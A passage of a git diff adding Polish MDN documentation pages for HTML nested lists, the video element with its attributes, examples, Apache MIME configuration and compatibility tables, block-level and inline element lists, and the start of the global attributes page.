+ &lt;li&gt;pierwsza pozycja&lt;/li&gt;
+ &lt;li&gt;druga pozycja &lt;!-- Spójrz, zamykający znacznik &lt;/li&gt; nie jest tutaj umieszczony --&gt;
+ &lt;ul&gt;
+ &lt;li&gt;druga pozycja pierwszy podpunkt&lt;/li&gt;
+ &lt;li&gt;druga pozycja drugi podpunkt&lt;/li&gt;
+ &lt;li&gt;druga pozycja trzeci podpunkt&lt;/li&gt;
+ &lt;/ul&gt;
+ &lt;/li&gt; &lt;!-- Tutaj jest zamykający znacznik &lt;/li&gt; --&gt;
+ &lt;li&gt;trzecia pozycja&lt;/li&gt;
+ &lt;/ul&gt;
+</pre>
+<p>Powyższy HTML daje w efekcie:</p>
+<ul>
+ <li>pierwsza pozycja</li>
+ <li>druga pozycja
+ <ul>
+ <li>druga pozycja pierwszy podpunkt</li>
+ <li>druga pozycja drugi podpunkt</li>
+ <li>druga pozycja trzeci podpunkt</li>
+ </ul>
+ </li>
+ <li>trzecia pozycja</li>
+</ul>
+<h4 id="Zagnie.C5.BCd.C5.BCanie_.3Cul.3E_oraz_.3Col.3E" name="Zagnie.C5.BCd.C5.BCanie_.3Cul.3E_oraz_.3Col.3E">Zagnieżdżanie &lt;ul&gt; oraz &lt;ol&gt;</h4>
+<pre> &lt;ul&gt;
+ &lt;li&gt;pierwsza pozycja&lt;/li&gt;
+ &lt;li&gt;druga pozycja &lt;!-- Spójrz, zamykający znacznik &lt;/li&gt; nie jest tutaj umieszczony --&gt;
+ &lt;ol&gt;
+ &lt;li&gt;druga pozycja pierwszy podpunkt&lt;/li&gt;
+ &lt;li&gt;druga pozycja drugi podpunkt&lt;/li&gt;
+ &lt;li&gt;druga pozycja trzeci podpunkt&lt;/li&gt;
+ &lt;/ol&gt;
+ &lt;/li&gt; &lt;!-- Tutaj jest zamykający znacznik &lt;/li&gt; --&gt;
+ &lt;li&gt;trzecia pozycja&lt;/li&gt;
+ &lt;/ul&gt;
+</pre>
+<p>Powyższy HTML daje w efekcie:</p>
+<ul>
+ <li>pierwsza pozycja</li>
+ <li>druga pozycja
+ <ol>
+ <li>druga pozycja pierwszy podpunkt</li>
+ <li>druga pozycja drugi podpunkt</li>
+ <li>druga pozycja trzeci podpunkt</li>
+ </ol>
+ </li>
+ <li>trzecia pozycja</li>
+</ul>
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+<p>Możesz zagnieżdżać tak dużo list <code>&lt;ul&gt;</code> i <code>&lt;ol&gt;</code>, jak chcesz w dowolnej kolejności.</p>
+<p>Aby zmienić wcięcie listy, użyj własności <a href="pl/CSS">CSS</a> <a href="pl/CSS/margin">margin</a>.</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+<ul>
+ <li><a href="pl/HTML/Element/li">Znacznik li (pozycja listy)</a></li>
+ <li><a href="pl/HTML/Element/ol">Znacznik ol (lista uporządkowana)</a></li>
+ <li><a href="pl/CSS/list-style">Własność CSS list-style</a></li>
+ <li><a href="pl/Liczniki_CSS">Liczniki CSS</a></li>
+</ul>
+<p>{{ HTML:Element_Navigation() }}</p>
+<p>{{ languages( { "en": "en/HTML/Element/ul" } ) }}</p>
diff --git a/files/pl/web/html/element/video/index.html b/files/pl/web/html/element/video/index.html
new file mode 100644
index 0000000000..21d4ea9694
--- /dev/null
+++ b/files/pl/web/html/element/video/index.html
@@ -0,0 +1,355 @@
+---
+title: <video>
+slug: Web/HTML/Element/video
+translation_of: Web/HTML/Element/video
+---
+<div> </div>
+
+<h2 id="Summary" name="Summary">W skrócie</h2>
+
+<p><strong>Element <code>&lt;video&gt;</code></strong> został stworzony do umieszczania treści wideo na stronie. Może zawierać wiele różnych źródeł z nagraniami, które określamy poprzez kolejne tagi {{HTMLElement("source")}} w nim zawarte albo poprzez atrybut <code>src</code>. Przeglądarka sama wybierze odpowiedni dla niej materiał.</p>
+
+<p>Jeżeli chcesz zobaczyć listę wspieranych formatów, zobacz koniecznie <a href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements" title="Media formats supported by the audio and video elements">Formaty mediów wspieranych przez elementy audio i video</a>.</p>
+
+<h2 id="Usage_context" name="Usage_context">Kontekst użycia</h2>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></dfn> <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, phrasing content, embedded content. If it has a {{htmlattrxref("controls", "video")}} attribute: interactive content and palpable content.</li>
+ <li><dfn>Permitted content</dfn>If the element has a {{htmlattrxref("src", "video")}} attribute: zero or more {{HTMLElement("track")}} element, followed by transparent content that contains no media elements, that is no {{HTMLElement("audio")}} or {{HTMLElement("video")}}<br>
+ Else: zero or more {{HTMLElement("source")}} element, followed by zero or more {{HTMLElement("track")}} element, followed by transparent content that contains no media elements, that is no {{HTMLElement("audio")}} or {{HTMLElement("video")}}.</li>
+ <li><dfn>Tag omission</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Permitted parent elements</dfn> Any element that accepts embedded content.</li>
+ <li><dfn>DOM interface</dfn> {{domxref("HTMLVideoElement")}}</li>
+</ul>
+
+<h2 id="Attributes" name="Attributes">Atrybuty</h2>
+
+<p>Podobnie jak inne tagi HTML, ten element może mieć przypisane <a href="/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">atrybuty globalne</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autoplay")}}</dt>
+ <dd>Atrybut typu Boolean; jeżeli go określimy, wideo zostanie odtworzone najszybciej, jak to możliwe bez zatrzymywania na czas dalszego pobierania.</dd>
+ <dt>{{htmlattrdef("autobuffer")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Atrybut typu Boolean; jeżeli go określimy wideo zacznie się buforować nawet wtedy, gdy nie zostało włączone automatyczne odtwarzanie. This should be used for cases in which it is considered likely that the video will be played (for example, if the user navigated to the page specifically to play the video, not if there happens to be a video embedded along with other content). The video is buffered until the media cache is full.
+ <div class="note"><strong>Notka implementacyjna:</strong> początkowo jako część wstępnych szkiców HTML5, atrybut<code> autobuffer</code> nie pojawił się już w kolejnych ich wydaniach. Został usunięty w Gecko 2.0 i innych przeglądarkach. W specyfikacji umieszczono nowy atrybut, <code>preload</code>, aby zastąpić atrybut <code>autobuffer</code> z inną składnią. {{bug(548523)}}</div>
+ </dd>
+ <dt>{{htmlattrdef("buffered")}}</dt>
+ <dd>An attribute you can read to determine which time ranges of the media have been buffered. This attribute contains a {{domxref("TimeRanges")}} object.</dd>
+ <dt>{{htmlattrdef("controls")}}</dt>
+ <dd>If this attribute is present, Gecko will offer controls to allow the user to control video playback, including volume, seeking, and pause/resume playback.</dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>This enumerated attribute indicates if the fetching of the related image must be done using CORS or not. <a href="/en-US/docs/CORS_Enabled_Image" title="CORS_Enabled_Image">CORS-enabled resources</a> can be reused in the {{HTMLElement("canvas")}} element without being <em>tainted</em>. The allowed values are:
+ <dl>
+ <dt>anonymous</dt>
+ <dd>A cross-origin request (i.e. with <code>Origin:</code> HTTP header) is performed. But no credential is sent (i.e. no cookie, no X.509 certificate and no HTTP Basic authentication is sent). If the server does not give credentials to the origin site (by not setting the <code>Access-Control-Allow-Origin:</code> HTTP header), the image will be <em>tainted</em> and its usage restricted..</dd>
+ <dt>use-credentials</dt>
+ <dd>A cross-origin request (i.e. with <code>Origin:</code> HTTP header) is performed with credential is sent (i.e. a cookie, a certificate and HTTP Basic authentication is performed). If the server does not give credentials to the origin site (through <code>Access-Control-Allow-Credentials:</code> HTTP header), the image will be <em>tainted</em> and its usage restricted.</dd>
+ </dl>
+ When not present, the resource is fetched without a CORS request (i.e. without sending the <code>Origin:</code> HTTP header), preventing its non-tainted used in {{HTMLElement('canvas')}} elements. If invalid, it is handled as if the enumerated keyword <strong>anonymous</strong> was used. See <a href="/en-US/docs/HTML/CORS_settings_attributes" title="CORS settings attributes">CORS settings attributes</a> for additional information.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>The height of the video's display area, in CSS pixels.</dd>
+ <dt>{{htmlattrdef("loop")}}</dt>
+ <dd>A Boolean attribute; if specified, we will, upon reaching the end of the video, automatically seek back to the start.</dd>
+ <dt>{{htmlattrdef("muted")}}</dt>
+ <dd>A Boolean attribute which indicates the default setting of the audio contained in the video. If set, the audio will be initially silenced. Its default value is false, meaning that the audio will be played when the video is played.</dd>
+ <dt>{{htmlattrdef("played")}}</dt>
+ <dd>A {{domxref("TimeRanges")}} object indicating all the ranges of the video that have been played.</dd>
+ <dt>{{htmlattrdef("preload")}}</dt>
+ <dd>This enumerated attribute is intended to provide a hint to the browser about what the author thinks will lead to the best user experience. It may have one of the following values:
+ <ul>
+ <li><span style="font-family: Courier New;">none: </span>hints that either the author thinks that the user won't need to consult that video or that the server wants to minimize its traffic; in others terms this hint indicates that the video should not be cached.</li>
+ <li><span style="font-family: Courier New;">metadata</span>: hints that though the author thinks that the user won't need to consult that video, fetching the metadata (e.g. length) is reasonable.</li>
+ <li><span style="font-family: Courier New;">auto</span>: hints that the user needs have priority; in others terms this hint indicated that, if needed, the whole video could be downloaded, even if the user is not expected to use it.</li>
+ <li>the <em>empty string</em>: which is a synonym of the <span style="font-family: Courier New;">auto </span>value.</li>
+ </ul>
+
+ <p>If not set, its default value is browser-defined (i.e. each browser can choose its own default value), though the spec advises it to be set to <span style="font-family: Courier New;">metadata</span>.</p>
+
+ <div class="note"><strong>Usage notes:</strong>
+
+ <ul>
+ <li>The <code>autoplay</code> attribute has precedence over this one as if one wants to automatically play a video, the browser will obviously need to download it. Setting both the <code>autoplay</code> and the <code>preload</code> attributes is allowed by the specification.</li>
+ <li>The browser is not forced by the specification to follow the value of this attribute; it is a mere hint.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("poster")}}</dt>
+ <dd>Adres URL do zdjęcia ("plakatu"), które zostanie wyświetlone w miejscu elementu wideo dopóki użytkownik nie odtworzy go lub nie przewinie. Jeżeli atrybut niezostanie podany, nic niezostanie wyświetlone dopóki pierwsza klatka nagrania zostanie załadowana; wtedy ona stanie się "plakatem".</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>Adres URL materiału wideo do użycia. Jest to opcjonalne; zamiast tego powinieneś używać elementów {{HTMLElement("source")}} wewnątrz elementu wideo do określenia materiału do odtworzenia.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>Szerokość obszaru wyświetlania obrazu wideo, w pikselach.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Zdarzenia</h2>
+
+<p>Element <code>&lt;video&gt;</code> może wywoływać wiele <a href="/en-US/docs/Web/Guide/Events/Media_events">zdarzeń</a>.</p>
+
+<h2 id="Examples" name="Examples">Przykłady</h2>
+
+<pre class="brush: html" dir="rtl">&lt;!-- Prosty przykład z elementem video --&gt;
+&lt;video src="videofile.ogg" autoplay poster="posterimage.jpg"&gt;
+ Przepraszamy ale Twoja przeglądarka nie potrafi odtwarzać filmów za pomocą HTML5.
+ Nie przejmuj się, bo &lt;a href="videofile.ogg"&gt;możesz go stąd pobrać&lt;/a&gt;
+ i oglądać za pomocą swojego ulubionego odtwarzacza!
+&lt;/video&gt;
+
+&lt;!-- Wideo z napisami --&gt;
+&lt;video src="foo.ogg"&gt;
+ &lt;track kind="subtitles" src="foo.en.vtt" srclang="en" label="English"&gt;
+ &lt;track kind="subtitles" src="foo.pl.vtt" srclang="pl" label="Polski"&gt;
+&lt;/video&gt;
+</pre>
+
+<p>Pierwszy przykład polega na odtworzeniu nagrania od razu po tym, jak odpowiednio duża część materiału zostanie pobrana, aby nie pauzować odtwarzania. Zanim zawartość elementu wideo zostanie wyświetlona, obrazek "posterimage.jpg" zostanie umieszczony w jej miejsce.</p>
+
+<p>Drugi przykład pozwala użytkownikowi na wybór odpowiednich napisów.</p>
+
+<h2 id="Server_support" name="Server_support">Wsparcie serwera</h2>
+
+<p>Jeżeli typ MIME dla elementu wideo niezostanie poprawnie ustawiony na serwerze, może się on nie pojawić albo pojawić jako szary obszar z X (jeżeli JavaScript jest włączony).</p>
+
+<p>Korzystając z Ogg Theora i pracując na Apache Web Server możesz rozwiązać ten problem dodając rozszerzenia używane przez Twoje pliki wideo (".ogm", ".ogv" i ".ogg" są najpowszechniejsze) do typów MIME "video/ogg" w pliku "mime.types" w folderze "/etc/apache" albo poprzez komendę konfiguracyjną "AddType" w pliku httpd.conf.</p>
+
+<pre>AddType video/ogg .ogm
+AddType video/ogg .ogv
+AddType video/ogg .ogg
+</pre>
+
+<p>Korzystając z WebM i pracując na Apache Web Server możesz rozwiązać ten problem dodając rozszerzenie używane przez Twoje pliki wideo (".webm" jest najpowszechniejszy) do typów MIME "video/webm" w pliku "mime.types" w folderze "/etc/apache" albo poprzez komendę konfiguracyjną "AddType" w pliku httpd.conf.</p>
+
+<pre>AddType video/webm .webm
+</pre>
+
+<p>Pamiętaj, że Twój hosting internetowy może dostarczać łatwiejsze sposoby konfiguracji typów MIME, aby obsługiwać najnowsze technologie zanim globalnie zostaną wprowadzone w użycie.</p>
+
+<h2 id="DOM_interface" name="DOM_interface">Interfejs DOM</h2>
+
+<p>Ten element implementuje interfejs <code><a href="/en-US/docs/Web/API/HTMLVideoElement" title="DOM/HTMLVideoElementInterface">HTMLVideoElement</a></code>.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Kompatybilność z przeglądarkami</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Podstawowa obsługa</td>
+ <td>3.0</td>
+ <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+ <td>9.0</td>
+ <td>10.5</td>
+ <td>3.1</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>autoplay</code></td>
+ <td>3.0</td>
+ <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+ <td>9.0</td>
+ <td>10.5</td>
+ <td>3.1</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>buffered</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>Yes</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>controls</code></td>
+ <td>3.0</td>
+ <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+ <td>9.0</td>
+ <td>10.5</td>
+ <td>3.1</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>crossorigin</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("12.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>loop</code></td>
+ <td>3.0</td>
+ <td>{{CompatGeckoDesktop("11.0")}}</td>
+ <td>9.0</td>
+ <td>10.5</td>
+ <td>3.1</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>muted</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("11.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>Yes</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>właściwość <code>played</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("15.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>Yes</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>poster</code></td>
+ <td>3.0</td>
+ <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+ <td>9.0</td>
+ <td>10.5</td>
+ <td>3.1</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>preload</code></td>
+ <td>3.0</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>9.0</td>
+ <td>Yes</td>
+ <td>3.1</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>src</code></td>
+ <td>3.0</td>
+ <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+ <td>9.0</td>
+ <td>10.5</td>
+ <td>3.1</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Podstawowa obsługa</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("1.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>autoplay</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("1.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>iOS 6.0 only</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>buffered</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>controls</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("1.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>loop</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("11.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>muted</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("11.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>właściwość <code>played</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("15.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>poster</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("1.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>preload</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>src</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("1.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>atrybut <code>crossorigin</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("12.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also"> </h2>
+
+<h2 id="See_also" name="See_also">Zobacz także</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements" title="Media formats supported by the audio and video elements">Formaty mediów wspieranych przez elementy audio i video.</a></li>
+ <li>{{htmlelement("audio")}}</li>
+ <li><a href="/en-US/docs/Using_HTML5_audio_and_video" title="Using audio and video in Firefox">Używanie elementów audio i video HTML5.</a></li>
+ <li><a href="/en-US/docs/Manipulating_video_using_canvas" title="Manipulating video using canvas">Manipulowanie wideo korzystając z elementu canvas.</a></li>
+ <li><a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" title="NsIDOMHTMLMediaElement"><code>nsIDOMHTMLMediaElement</code></a></li>
+ <li><a class="external" href="http://tinyvid.tv/" title="http://tinyvid.tv/">TinyVid</a> - przykłady użycia plików ogg w HTML5.</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#video" title="http://www.whatwg.org/specs/web-apps/current-work/#video">Element video</a> (specyfikacja HTML5)</li>
+ <li><a href="/en-US/docs/Configuring_servers_for_Ogg_media" title="Configuring servers for Ogg media">Konfigurowanie serwerów pod kątem mediów Ogg.</a></li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/pl/web/html/elementy_blokowe/index.html b/files/pl/web/html/elementy_blokowe/index.html
new file mode 100644
index 0000000000..392dc43954
--- /dev/null
+++ b/files/pl/web/html/elementy_blokowe/index.html
@@ -0,0 +1,38 @@
+---
+title: Elementy blokowe
+slug: Web/HTML/Elementy_blokowe
+tags:
+ - HTML
+ - 'HTML:Opis_elementów'
+ - Wszystkie_kategorie
+translation_of: Web/HTML/Block-level_elements
+---
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Elementy blokowe mogą wystąpić tylko w <a href="pl/HTML/Element/body">body</a>. Od elementów liniowych odróżnia je:
+</p>
+<dl><dt>Zawartość elementu</dt><dd> Generalnie elementy blokowe mogą zawierać zarówno elementy liniowe jak i inne elementy blokowe. Elementy blokowe przeznaczone są do tworzenia większych struktur niż elementy liniowe.
+</dd><dt>Formatowanie</dt><dd> Domyślnie elementy blokowe zaczynają się od nowej linii.
+</dd></dl>
+<h3 id="Elementy" name="Elementy"> Elementy </h3>
+<p>Poniżej znajduje się lista elementów "blokowych":
+</p>
+<ul><li> <a href="pl/HTML/Element/p">p</a>
+</li><li> <a href="pl/HTML/Element/h1%2ch2%2ch3%2ch4%2ch5%2ch6">h1, h2, h3, h4, h5, h6</a>
+</li><li> <a href="pl/HTML/Element/ol">ol</a>, <a href="pl/HTML/Element/ul">ul</a>
+</li><li> <a href="pl/HTML/Element/pre">pre</a>
+</li><li> <a href="pl/HTML/Element/address">address</a>
+</li><li> <a href="pl/HTML/Element/blockquote">blockquote</a>
+</li><li> <a href="pl/HTML/Element/dl">dl</a>
+</li><li> <a href="pl/HTML/Element/div">div</a>
+</li><li> <a href="pl/HTML/Element/fieldset">fieldset</a>
+</li><li> <a href="pl/HTML/Element/form">form</a>
+</li><li> <a href="pl/HTML/Element/hr">hr</a>
+</li><li> <a href="pl/HTML/Element/noscript">noscript</a>
+</li><li> <a href="pl/HTML/Element/table">table</a>
+</li></ul>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <a href="pl/HTML/Elementy_liniowe">Elementy liniowe</a>
+</li></ul>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/HTML/Block-level_elements", "ja": "ja/HTML/Block-level_elements" } ) }}
diff --git a/files/pl/web/html/elementy_liniowe/index.html b/files/pl/web/html/elementy_liniowe/index.html
new file mode 100644
index 0000000000..f5cd417ec8
--- /dev/null
+++ b/files/pl/web/html/elementy_liniowe/index.html
@@ -0,0 +1,30 @@
+---
+title: Elementy liniowe
+slug: Web/HTML/Elementy_liniowe
+tags:
+ - HTML
+ - 'HTML:Element'
+ - 'HTML:Élément(2)'
+ - Wszystkie_kategorie
+translation_of: Web/HTML/Inline_elements
+---
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Elementy liniowe są elementami, które mogą wystąpić tylko w <a href="pl/HTML/Elementy/body">body</a>. Od elementów blokowych odróżnia je:
+</p>
+<dl><dt>Zawartość elementu</dt><dd> Elementy liniowe mogą zawierać tylko tekst lub inne elementy liniowe.
+</dd><dt>Formatowanie</dt><dd> Elementy liniowe nie tworzą nowego wiersza.
+</dd></dl>
+<h3 id="Elementy" name="Elementy"> Elementy </h3>
+<p>Poniżej znajduje się lista elementów "liniowych":
+</p>
+<ul><li> <a href="pl/HTML/Element/b">b</a>, <a href="pl/HTML/Element/big">big</a>, <a href="pl/HTML/Element/i">i</a>, <a href="pl/HTML/Element/small">small</a>, <a href="pl/HTML/Element/tt">tt</a>
+</li><li> <a href="pl/HTML/Element/abbr">abbr</a>, <a href="pl/HTML/Element/acronym">acronym</a>, <a href="pl/HTML/Element/cite">cite</a>, <a href="pl/HTML/Element/code">code</a>, <a href="pl/HTML/Element/dfn">dfn</a>, <a href="pl/HTML/Element/em">em</a>, <a href="pl/HTML/Element/kbd">kbd</a>, <a href="pl/HTML/Element/strong">strong</a>, <a href="pl/HTML/Element/samp">samp</a>, <a href="pl/HTML/Element/var">var</a>
+</li><li> <a href="pl/HTML/Element/a">a</a>, <a href="pl/HTML/Element/bdo">bdo</a>, <a href="pl/HTML/Element/br">br</a>, <a href="pl/HTML/Element/img">img</a>, <a href="pl/HTML/Element/map">map</a>, <a href="pl/HTML/Element/object">object</a>, <a href="pl/HTML/Element/q">q</a>, <a href="pl/HTML/Element/script">script</a>, <a href="pl/HTML/Element/span">span</a>, <a href="pl/HTML/Element/sub">sub</a>, <a href="pl/HTML/Element/sup">sup</a>
+</li><li> <a href="pl/HTML/Element/button">button</a>, <a href="pl/HTML/Element/input">input</a>, <a href="pl/HTML/Element/label">label</a>, <a href="pl/HTML/Element/select">select</a>, <a href="pl/HTML/Element/textarea">textarea</a>
+</li></ul>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <a href="pl/HTML/Elementy_blokowe">Elementy blokowe</a>
+</li></ul>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/HTML/Inline_elements", "ja": "ja/HTML/Inline_elements", "ko": "ko/HTML/Inline_elements" } ) }}
diff --git a/files/pl/web/html/global_attributes/index.html b/files/pl/web/html/global_attributes/index.html
new file mode 100644
index 0000000000..e692b37797
--- /dev/null
+++ b/files/pl/web/html/global_attributes/index.html
@@ -0,0 +1,480 @@
+---
+title: Global attributes
+slug: Web/HTML/Global_attributes
+tags:
+ - Attribute
+ - HTML
+ - NeedsBrowserCompatibility
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+ - Web
+translation_of: Web/HTML/Global_attributes
+---
+<div class="summary">
+<p><strong>Global attributes</strong> are attributes common to all HTML elements; they can be used on all elements, though the attributes may have no effect on some elements.out</p>
+</div>
+
+<p>Global attributes may be specified on all <a href="/en-US/docs/Web/HTML/Element">HTML elements</a>, <em>even those not specified in the standard</em>. That means that any non-standard elements must still permit these attributes, even though using those elements means that the document is no longer HTML5-compliant. For example, HTML5-compliant browsers hide content marked as <code>&lt;foo hidden&gt;...&lt;foo&gt;</code><code>, </code>even though <code>&lt;foo&gt;</code> is not a valid HTML element.</p>
+
+<p>In addition to the basic HTML global attributes, the following global attributes also exist:</p>
+
+<ul>
+ <li><strong><code>xml:lang</code></strong> and <code><strong>xml:base</strong></code> — these are inherited from the XHTML specifications and deprecated, but kept for compatibility purposes.</li>
+ <li>The multiple <code><strong><a href="/en-US/docs/Web/Accessibility/ARIA">aria-*</a></strong></code> attributes, used for improving accessibility.</li>
+ <li>The event handler attributes: <code><strong>onabort</strong></code>, <code><strong>onautocomplete</strong></code>, <code><strong>onautocompleteerror</strong></code>, <code><strong>onblur</strong></code>, <code><strong>oncancel</strong></code>, <code><strong>oncanplay</strong></code>, <code><strong>oncanplaythrough</strong></code>, <code><strong>onchange</strong></code>, <code><strong>onclick</strong></code>, <code><strong>onclose</strong></code>, <code><strong>oncontextmenu</strong></code>, <code><strong>oncuechange</strong></code>, <code><strong>ondblclick</strong></code>, <code><strong>ondrag</strong></code>, <code><strong>ondragend</strong></code>, <code><strong>ondragenter</strong></code>, <code><strong>ondragexit</strong></code>, <code><strong>ondragleave</strong></code>, <code><strong>ondragover</strong></code>, <code><strong>ondragstart</strong></code>, <code><strong>ondrop</strong></code>, <code><strong>ondurationchange</strong></code>, <code><strong>onemptied</strong></code>, <code><strong>onended</strong></code>, <code><strong>onerror</strong></code>, <code><strong>onfocus</strong></code>, <code><strong>oninput</strong></code>, <code><strong>oninvalid</strong></code>, <code><strong>onkeydown</strong></code>, <code><strong>onkeypress</strong></code>, <code><strong>onkeyup</strong></code>, <code><strong>onload</strong></code>, <code><strong>onloadeddata</strong></code>, <code><strong>onloadedmetadata</strong></code>, <code><strong>onloadstart</strong></code>, <code><strong>onmousedown</strong></code>, <code><strong>onmouseenter</strong></code>, <code><strong>onmouseleave</strong></code>, <code><strong>onmousemove</strong></code>, <code><strong>onmouseout</strong></code>, <code><strong>onmouseover</strong></code>, <code><strong>onmouseup</strong></code>, <code><strong>onmousewheel</strong></code>, <code><strong>onpause</strong></code>, <code><strong>onplay</strong></code>, <code><strong>onplaying</strong></code>, <code><strong>onprogress</strong></code>, <code><strong>onratechange</strong></code>, <code><strong>onreset</strong></code>, <code><strong>onresize</strong></code>, <code><strong>onscroll</strong></code>, <code><strong>onseeked</strong></code>, <code><strong>onseeking</strong></code>, <code><strong>onselect</strong></code>, <code><strong>onshow</strong></code>, <code><strong>onsort</strong></code>, 